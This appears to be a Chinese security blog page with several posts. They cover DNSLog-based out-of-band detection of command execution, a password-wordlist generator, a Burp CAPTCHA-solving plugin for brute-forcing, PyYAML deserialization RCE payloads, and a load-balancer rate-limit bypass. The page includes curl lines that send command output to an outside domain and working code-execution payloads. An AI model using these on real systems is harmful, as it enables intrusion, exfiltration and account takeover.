bit4 发布的文章

DnsLog的改造和自动化调用

0x01 DNSlog的改造

一切为了自动化,想要在各种远程命令执行的poc中顺利使用DNSlog,对它进行了改造,新增了三个API接口:

http://127.0.0.1:8000/apilogin/{username}/{password}/
#http://127.0.0.1:8000/apilogin/test/123456/
#登陆以获取token

http://127.0.0.1:8000/apiquery/{logtype}/{subdomain}/{token}/
#http://127.0.0.1:8000/apiquery/dns/test/a2f78f403d7b8b92ca3486bb4dc0e498/
#查询特定域名的某类型记录

http://127.0.0.1:8000/apidel/{logtype}/{udomain}/{token}/
#http://127.0.0.1:8000/apidel/dns/test/a2f78f403d7b8b92ca3486bb4dc0e498/
#删除特定域名的某类型记录

改造后的项目地址:https://github.com/bit4woo/DNSLog

0x02 本地接口类

服务端OK了之后,为了在PoC中快速调用,也在本地实现了一个类:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

import hashlib
import time
import requests
import json

class DNSlog():
    def __init__(self,subdomain=None):
        if subdomain == None:
            self.subdomain = hashlib.md5(time.time()).hexdigest()
        else:
            self.subdomain = subdomain
        self.user_host = "test.code2sec.com"
        #self.user_host = "127.0.0.1:8000"
        self.api_host = "admin.code2sec.com"
        #self.api_host = "127.0.0.1:8000"
        self.token = ""
        self.username= "test"
        self.password = "123456"
        self.login()

    def gen_payload_domain(self):
        domain = "{0}.{1}".format(self.subdomain, self.user_host)
        return domain

    def gen_payload(self):
        domain ="{0}.{1}".format(self.subdomain,self.user_host)
        poc = "ping -n 3 {0} || ping -c 3 {1}".format(domain, domain)
        return poc

    def login(self,username=None,password=None):
        if username == None:
            username = self.username
        if password == None:
            password = self.password
        url = "http://{0}/apilogin/{1}/{2}/".format(self.api_host,username,password)
        print("DNSlog Login: {0}".format(url))
        response = requests.get(url, timeout=60, verify=False, allow_redirects=False)
        if response.status_code ==200:
            token = json.loads(response.content)["token"]
            self.token = token
            return True
        else:
            print("DNSlog login failed!")
            return False

    def query(self,subdomain,type="dns",token=None,delay=2):
        time.sleep(delay)
        if token ==None and self.token != "":
            token = self.token
        else:
            print("Invalid Token!")
            return False
        if type.lower() in ["dns","web"]:
            pass
        else:
            print("error type")
            return False
        url = "http://{0}/apiquery/{1}/{2}/{3}/".format(self.api_host,type,subdomain,token)
        print("DNSlog Query: {0}".format(url))
        try:
            rep = requests.get(url, timeout=60, verify=False, allow_redirects=False)
            return json.loads(rep.content)["status"]
        except Exception as e:
            return False

    def delete(self, subdomain,type="dns", token =None):
        if token ==None and self.token != "":
            token = self.token
        else:
            print("Invalid Token!")
            return False
        if type.lower() in ["dns","web"]:
            pass
        else:
            print("error type")
            return False
        url = "http://{0}/apidel/{1}/{2}/{3}/".format(self.api_host, type, subdomain, token)
        print("DNSlog Delete: {0}".format(url))
        try:
            rep = requests.get(url, timeout=60, verify=False, allow_redirects=False)
            return json.loads(rep.content)["status"]
        except Exception as e:
            return False


if __name__ == "__main__":
    x = DNSlog("xxxx")
    x.login("test","123456")
    x.query("dns","123",x.token)
    x.delete("dns","123",x.token)

调用流程:

  1. 首先实例化DNSlog类,如果有传入一个字符串,这个字符串将被当作子域名,如果没有将生成一个随机的
  2. 调用gen_payload_domain()或者gen_payload()来返回域名或者"ping -n 3 {0} || ping
    -c 3 {1}"格式的payload
  3. 调用login()接口实现登陆,然后获取token,如果有传入账号和密码,将使用传入的,否则使用默认的
  4. 在使用生成的域名或者payload进行检测之前,建议先调用delete()来清除域名相关记录,避免误报
  5. PoC中使用payload进行请求
  6. 使用query()检查DNSlog是否收到该域名的相关请求,有则认为命令执行成功漏洞存在,否则任务不存在。

0x03 使用Docker搭建DnsLog服务器

感谢草粉师傅的帮助

域名和配置

搭建并使用 DNSLog,需要拥有两个域名:

1.一个作为 NS 服务器域名(例:polaris-lab.com):在其中设置两条 A 记录指向我们的公网 IP 地址(无需修改DNS服务器,使用运营商默认的就可以了):

ns1.polaris-lab.com  A 记录指向  10.11.12.13
ns2.polaris-lab.com  A 记录指向  10.11.12.13

2.一个用于记录域名(例: code2sec.com):修改 code2sec.com 的 NS 记录为 1 中设定的两个域名(无需修改DNS服务器,使用运营商默认的就可以了):

NS  *.code2sec.com   ns1.polaris-lab.com
NS  *.code2sec.com   ns2.polaris-lab.com

注意:按照dnslog的说明是修改NS记录,但是自己的部署中修改了好几天之后仍然不正常,就转为修改DNS服务器,而后成功了。修改DNS服务器之后就无需在域名管理页面设置任何DNS记录了,因为这部分是在DNSlog的python代码中实现的。

changeNameServer.png

Docker镜像构造

Dockerfile内容如下:

FROM ubuntu:14.04

RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list

RUN apt-get update -y && apt-get install -y python && apt-get install python-pip -y && apt-get install git -y
RUN git clone https://github.com/bit4woo/DNSLog
WORKDIR /DNSLog/dnslog
RUN pip install -r requirements.pip

COPY ./settings.py /DNSLog/dnslog/dnslog/settings.py

COPY ./start.sh /DNSLog/dnslog/start.sh
RUN chmod +x start.sh
CMD ["./start.sh"]

EXPOSE 80

下载 dnslog/dnslog/settings.py并对如下字段进行对应的修改,保存settings.py:

# 做 dns 记录的域名
DNS_DOMAIN = 'code2sec.com'

# 记录管理的域名, 这里前缀根据个人喜好来定
ADMIN_DOMAIN = 'admin.code2sec.com'

# NS域名
NS1_DOMAIN = 'ns1.polaris-lab.com'
NS2_DOMAIN = 'ns2.polaris-lab.com'

# 服务器外网地址
SERVER_IP = '10.11.12.13'

创建一个dnslog的启动脚本,保存为start.sh:

#!/bin/bash
python manage.py runserver 0.0.0.0:80

准备好如上3个文件后,可以构建镜像了

docker build .
docker tag e99c409f6585 bit4/dnslog
docker run -d -it -p 80:80 -p 53:53/udp bit4/dnslog
#注意这个53udp端口,感谢CF_HB师傅的指导

docker exec -it container_ID_or_name /bin/bash
./start.sh

配置验证

使用nslookup命令进行验证,如果可以直接测试xxx.test.code2sec.com了,说明所有配置已经全部生效;如果直接查询失败,而指定了dns服务器为 ns1.polsris-lab.com查询成功,说明dns服务器配置正确了,但是ns记录的设置需要等待同步或者配置错误。

nslookup
xxx.test.code2sec.com
server ns1.polaris-lab.com
yyy.test.code2sec.com

当然,在查询的同时可以登录网页端配合查看,是否收到请求。

在我自己的部署中,发现修改ns记录很久后仍然不能直接查询到 xxx.test.code2sec.com,想到NS记录配置和DNS服务器设置都是修改解析的域名的服务器配置,就尝试修改了DNS服务器为 ns1.polaris-lab.com, 结果就一切正常了。

管理网站

后台地址:http://code2sec.com/admin/ admin admin

用户地址:http://admin.code2sec.com/ test 123456

更多详细问题参考项目:https://github.com/BugScanTeam/DNSLog

记得修改默认的账号密码!

0x04 Payload使用技巧

||兼容windows和linux

ipconfig || ifconfig
#||是或逻辑, 如果第一个命令执行成功,将不会执行第二个;而如果第一个执行失败,将会执行第二个。

使用实例:
ping -n 3 xxx.test.code2sec.com || ping -c 3 xxx.test.code2sec.com

命令优先执行

%OS%
#windows的系统变量,用set命令可以查看所有可用的变量名称
`whomai` 
#linux下的命令优先执行,注意是反引号(`)这个字符一般在键盘的左上角,数字1的左边

测试效果如下:
root@ubuntu:~# echo `whoami`@bit4
root@bit4

E:\>echo %OS%@bit4
Windows_NT@bit4

使用实例:
curl "http://xxx.test.code2sec.com/?`whoami`"
ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.code2sec.com
#DNS记录中获取源IP地址

command_first.png

消除空格

id|base64

使用实例:
curl test.code2sec.com/`ifconfig|base64 -w 0` 
#-w 0 输出内容不换行,推荐这个方法
curl test.code2sec.com/`ifconfig|base64|tr '\n' '-'`
#将换行符替换为-,这个方法不是很方便,解密的时候还需要替换回来

base64.png

window下的curl

start http://xxxxxxxxx.test.code2sec.com
#该命令的作用是通过默认浏览器打开网站,缺点是会打开窗口

常用Payload汇总

#1.判断系统类型
ping `uname`.code2sec.com || ping %OS%.code2sec.com

#2.通用ping,dns类型payload
ping -n 3 xxx.code2sec.com || ping -c 3 xxx.code2sec.com

C:\Windows\System32\cmd.exe /c "ping -n 3 test.com || ping -c 3 test.com"
/bin/bash -c "ping -n 3 test.com || ping -c 3 test.com"

#3.从DNS记录中获取源IP地址
ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.code2sec.com

#4.获取命令结果
curl test.code2sec.com/`ifconfig|base64 -w 0`

[更新支持图形界面] PassMaker:可以自定义规则的密码字典生成器

0x01 项目地址

https://github.com/bit4woo/passmaker

0x02目的

该脚本的主要目标是根据定制的规则来组合生成出密码字典,主要目标是针对企业,希望对安全人员自查“符合密码策略的若密码”有所帮助。

0x03 规则

程序的核心是密码规则的指定,比如:

  • domain+常规弱密码
  • domain+键盘弱密码
  • domain+特殊字符+常规弱密码
  • domain+特殊字符+年份
    ……等等

0x04 使用

方法一:通过config.py

通过修改config.py中的参数,然后直接运行python passmaker.py来生成密码字典。

screnshot_config.png

其实详细说明已经写在配置文件的注释中了,如下:

#第一步,定义种子(seed),密码的基本组成部分
domain= ["baidu.com","baidu","Baidu.com","BaiDu.com"]
year = ["2016","2017","2018"]
special_letter = ["!","@","#","$","%",]
common_weak_pass = open('./seed/weak_pass_top100.txt').readlines()
keyboard_walk = open('./seed/4_keyboard_walk.txt').readlines()
#domain_capitalize = False #域名首字母大写处理


#第二步,定义密码的组成规则,list中的一个元素代表一个规则
rule = ["domain+special_letter+year","domain+special_letter+keyboard_walk","domain+special_letter+common_weak_pass"]
keep_in_order = False #以上的规则,是否保持原顺序,如果为False 将对每个规则中的seed进行排列组合后生产密码。



#第三步,对以上生成的密码再进行一些变形处理
capitalize = True  #是否进行首字母大写处理
leet = False       #是否进行变形处理,即通过下方的字典进行对应的字母替换
leet2num = {"a":"4",
            "i":"1",
            "e":"3",
            "t":"7",
            "o":"0",
            "s":"5",
            "g":"9",
            "z":"2"}

leet2string ={
            "O" : "()",
            "U" : "|_|",
            "D" : "|)",
            "W" : "\/\/",
            "S" : "$",
            }


#第四步,根据以下密码规则约束,对以上生成的密码进行过滤处理,删除不满足条件的记录
min_lenth =8
need_upper_letter = False
need_lower_letter = True
need_special_char = False
need_nummber = False
#大写字母、小写字母、特殊符号、数字,四种包含三种---常见的密码要求
kinds_needed = 3  #四者包含其三

方法二:命令行交互

通过运行python passmaker.py -i来通过交互模式配置其中参数,然后生成密码字典。

screnshot.png

方法三:图形界面

通过运行python passmaker.py -g来启用图形界面配置其中参数,然后运行生成密码字典。

screnshot_gui.png

如果有好的建议,欢迎通过issue提交给我,谢谢!

reCAPTCHA:一款自动识别图形验证码并用于Intruder Payload中的BurpSuite插件

首发:先知技术社区

0x01 简介

一个burp插件,自动识别图形验证码,并用于Intruder中的Payload。

项目主页:https://github.com/bit4woo/reCAPTCHA

0x02 使用

安装:

  1. 这里下载插件。
  2. 将它添加到burp。如果没有遇到错误,你将看到一个新的名为“reCAPTCHA”的tab。

准备:

  1. 通过burp代理访问目标网站的登录界面。
  2. 在proxy中找到获取图形验证码的请求,选中它并点击右键选择“Send to
    reCAPTCHA”,这个请求的信息将被发送到reCAPTCHA。

Send_to.png

  1. 切换到reCAPTCHA标签,并配置所需的参数。当参数配置好后,你可以点击“请求”按钮来测试配置。
  2. http://www.ysdm.net
    的API是目前唯一支持的接口,其中的各项参数需要自行注册帐号并填写,才能成功调用接口完成图片的识别。该API需要的参数如下,请用正确的值替换%s
    ,特别注意typeid值的设定(http://www.ysdm.net/home/PriceType)。

    username=%s&password=%s&typeid=%s

在Intruder中使用:

完成了配置并测试成功后,现在可以在Intruder中使用该插件生成的payload了。有2种情况:用户名或密码之一+验证码;用户名+密码+验证码;

情况一:只有密码或只有用户名需要改变,我们可以用Pitchfork 模式来配置。

比如,已知系统存在一个用户admin,来爆破该用户,插入点标记如下,

index_condition1_mark.png

payload 1我们从文件中加载,这个不必多说。

payload 2 选择“Extension-Generated”.

index_condition1_mark_payload2.png

运行效果如下:

index_condition1.png

情况二:用户名和口令都需要改变,这个稍微复杂点。我们还是使用Pichfork模式,但需要将用户名和密码一起标注为一个插入点。像这样:

index_mark.png

payload 1 使用“自定义迭代器(Custom interator)”。并在迭代器中组合用户名和密码。

在该例子中,即 position 1为用户名,position 2 为“&j_password=”,postion 3为密码。

index1.png

payload 2 的配置和情况一中的配置完全一样。

运行效果如图:

index_mark2.png

0x03 reCAPTCHA界面截图

screenshot.png

0x04 日志

2017-11-01:第一个demo版本发布。

交流群

微信图片_20171106144105.jpg

Python PyYAML反序列化漏洞实验和Payload构造

0x01 概述

什么程序存在漏洞:

使用了PyYAML这个库并且使用了yaml.load而不是yaml.safe_load函数来解析yaml文件的程序

代码审计关键词:

  • import yaml
  • yaml.load(

已知相关漏洞:

  • Remote Code Execution Vulnerability in Ansible-Vault Library. (CVE-2017-2809)
  • https://pypi.python.org/pypi/ansible-vault/1.0.4 ansible-vault <=1.0.4存在这个漏洞,在1.0.5中完成了修复
  • Remote Code Execution Vulnerability in Tablib. (CVE-2017-2810)

0x02 yaml和序列化

yaml和xml、json等类似,都是标记类语言,有自己的语法格式。各个支持yaml格式的语言都会有自己的实现来进行yaml格式的解析(读取和保存),其中PyYAML就是python的一个yaml库。

除了 YAML 格式中常规的列表、字典和字符串整形等类型转化外(基本数据类型),各个语言的 YAML 解析器或多或少都会针对其语言实现一套特殊的对象转化规则(也就是序列化和反序列化,这是关键点,是这个漏洞存在的前提)。比如:PyYAML 在解析数据的时候遇到特定格式的时间数据会将其自动转化为 Python 时间对象

  • 序列化: 将数据结构或对象转换成二进制串(字节序列)的过程
  • 反序列化:将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程

将如下内容保存到sample.yml

date: !!str 2016-03-09
date1:  2016-03-09
weekday: Wednesday
weather: sunny

然后在同一目录下运行如下python 代码:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

import yaml

print(yaml.load(file('sample.yml', 'r')))

可以看到如下结构,有“!!str”强制类型转换的,就成了字符串格式;没有类型转换的就是python中datetime.date对象。

微信图片_20170922164720.png

0x03 代码执行PoC构造的尝试

以笔者目前初浅的理解,要实现代码执行,就需要序列化和反序列的内容中出现该编程语言中的对象(函数、类),因为的对象的反序列化,是在构建一个对象的实例(实例化的过程)。如果一个对象中有函数的定义,有可执行代码,那么实例化后再通过方法调用或者其他的途径才能使其中的代码到执行。普通数据类型的反序列化只是变量相关的初始化、赋值等操作,不会涉及到逻辑处理的代码块,所有不会有代码的执行!(普通数据类型 = 数据,对象= 函数代码+数据)。

通过跟踪$PYTHON_HOME/lib/site-packages/yaml/constructor.py文件,查看 PyYAML 源码可以得到其针对 Python 语言特有的标签解析的处理函数对应列表,其中有三个和对象相关:

!!python/object:          =>  Constructor.construct_python_object

!!python/object/apply:    =>  Constructor.construct_python_object_apply

!!python/object/new:      =>  Constructor.construct_python_object_new

通过如下代码,来序列化test类中的内容:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
__filename__ = 'yaml_gen_poc.py'

import yaml
import os

class test:
    def __init__(self):
        os.system('calc.exe')

payload =  yaml.dump(test())

fp = open('simple.yml','w')
fp.write(payload)

可以看到simple.yml中写入的内容如下:

!!python/object:yaml_gen_poc.test {}

再运行yaml_verify.py来验证:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
__filename__ = "yaml_verify.py"

import yaml

yaml.load(file('simple.yml', 'r'))

微信图片_20170922164726.png

成功执行了命令,弹出计算器。但是yaml_verify.py的成功运行,需要依赖yaml_gen_poc.py,因为它会根据yml文件中的指引去读取yaml_gen_poc.py中的test这个对象(类)。如果删除yaml_gen_poc.py,也将运行失败。

0x04 构造通用payload

那么我们怎样消除这个依赖呢?就是将其中的类、或者函数 换成python标准库中的类或者函数。

直接修改yml文件为:

!!python/object:os.system ["calc.exe"]

再运行,失败(显示参数未传递:TypeError: system() takes exactly 1 argument (0 given)),尝试查看源码、并变换yml文件中语句格式,均未成功!(疑难点)。

修改为以下2种均成功,通过源码得知,new其实是调用了apply,他们的不同的地方是创建对象的方式,这里可以大致认为它们是一样的。

!!python/object/apply:os.system ["calc.exe"]

!!python/object/new:os.system ["calc.exe"]

既然解决了依赖问题,那我们就尝试构建一些有用的poc吧,从官方标准库里找可以用来执行命令的函数:https://docs.python.org/2/library/index.html

!!python/object/apply:subprocess.check_output [[calc.exe]]

!!python/object/apply:subprocess.check_output ["calc.exe"]

!!python/object/apply:subprocess.check_output [["calc.exe"]]

!!python/object/apply:os.system ["calc.exe"]

!!python/object/new:subprocess.check_output [["calc.exe"]]

!!python/object/new:os.system ["calc.exe"]

..................

本文测试代码地址:

https://github.com/bit4woo/sharexmind/tree/master/YamlRCE

0x05 参考

大力出奇迹:Web架构中的安全问题一例

前言

在一次对线上业务的测试中,遇到过一个奇怪的问题,经排查和LVS以及后台应用服务的同步有关,现在分享如下;并对web架构的基础知识和个人经验认为可能存在的问题做简单的总结。

现象

  1. 爆破接口本来是做了防护的,即当某IP的请次数超过一定的阀值后返回403(正常请求返回的是200),但是大量的多线程请求中出现了某些请求仍然正常的情况。如图:

burp.png

  1. 在某次对另一个业务的测试中,也发现了类似的问题。某登录接口,多次尝试后开始要求图形验证码确认,但当用户多次点击按钮请求,图形验证码要求却消失了。

原因

经过运维的排查,发现根本原因是后端多台服务器配置不一致导致的,比如有三台服务器的代码是最新的,有防护策略,而有一台服务器的代码没有得到更新,没有防护策略,当多次请求的时候,LVS将流量指向了没有启用防护策略的服务器,响应包也就没有要求图形验证或响应正常,从而导致了多个请求中存在了无需验证的数据包。

测试方法和利用

多线程、高并发请求;这些大量异常包中的正常请求也是有可能被利用的,比如,如果LVS是轮询算法,即每N次就有一次可利用的请求。

总结

现在的web应用早已不是单台服务器的时代了,往往都有一个庞大的web架构来支撑一个应用。个人学习了一下相关基础知识,并根据经验罗列了一下这些架构中可能存在的问题。

习惯了通过思维导图来记录知识,高清大图请点击或者右键查看:

xmind.png

Xmind源文件请访问Github获取。